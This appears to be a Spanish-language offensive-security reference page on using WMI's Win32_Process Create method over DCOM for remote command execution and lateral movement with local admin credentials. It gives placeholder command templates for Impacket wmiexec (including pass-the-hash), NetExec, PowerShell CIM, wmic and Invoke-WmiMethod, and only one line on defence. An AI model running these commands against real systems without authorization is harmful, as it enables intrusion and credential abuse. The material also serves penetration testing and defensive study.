Movimiento lateral

WMI para ejecución y movimiento lateral

Cómo un atacante con credenciales de administrador ejecuta comandos en equipos remotos usando WMI, sin instalar nada.

Qué es

WMI para ejecución y movimiento lateral abusa de la interfaz de administración de Windows para correr comandos en un equipo remoto. El atacante ya tiene credenciales de administrador local en el destino. Las convierte en ejecución de código en otra máquina, sin instalar herramientas ni abrir una sesión interactiva.

Cómo funciona

WMI es la interfaz de administración que trae Windows. Su clase Win32_Process tiene un método Create que lanza un proceso.

Con credenciales de administrador local en el destino, el atacante invoca ese método de forma remota sobre DCOM. El servicio WMI del equipo lanza el proceso bajo el contexto autenticado.

No escribe nada en disco ni registra un servicio nuevo: usa un componente firmado que ya corre en la máquina. Funciona aunque WinRM esté apagado.

La ejecución es ciega: devuelve un ID de proceso, no la salida. Por eso se lanza una carga que llama de vuelta.

Diagrama

Comandos

Ejecución remota con Impacket, autenticando con contraseña:

wmiexec.py <DOMAIN>/<USER>:<PASSWORD>@<IP> "<COMANDO>"

Con pass-the-hash, sin contraseña:

wmiexec.py -hashes <HASH> <DOMAIN>/<USER>@<IP>

Validar acceso y ejecutar con NetExec. Pwn3d! indica ejecución como admin:

nxc wmi <IP> -u <USER> -p <PASSWORD> -x "<COMANDO>"

Desde Windows, sesión CIM moderna forzando el transporte DCOM:

$opt = New-CimSessionOption -Protocol Dcom
$sesion = New-CimSession -ComputerName <HOST> -Credential (Get-Credential) -SessionOption $opt
Invoke-CimMethod -CimSession $sesion -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine="<COMANDO>"}

Con el cliente heredado wmic:

wmic /node:<HOST> /user:<DOMAIN>\<USER> /password:<PASSWORD> process call create "<COMANDO>"

Con el cmdlet obsoleto Invoke-WmiMethod:

Invoke-WmiMethod -ComputerName <HOST> -Class Win32_Process -Name Create -ArgumentList "<COMANDO>" -Credential (Get-Credential)

Cómo defenderse

Limita y vigila la membresía de administradores locales: sin admin en el destino, WMI remoto no ejecuta.

Siguiente

Puedes seguir leyendo aquí:

Movimiento lateralPass-the-Ticket

No te pierdas ninguna noticia

Recibe un correo cuando haya alguna actualización importante.

Al suscribirte aceptas la política de privacidad.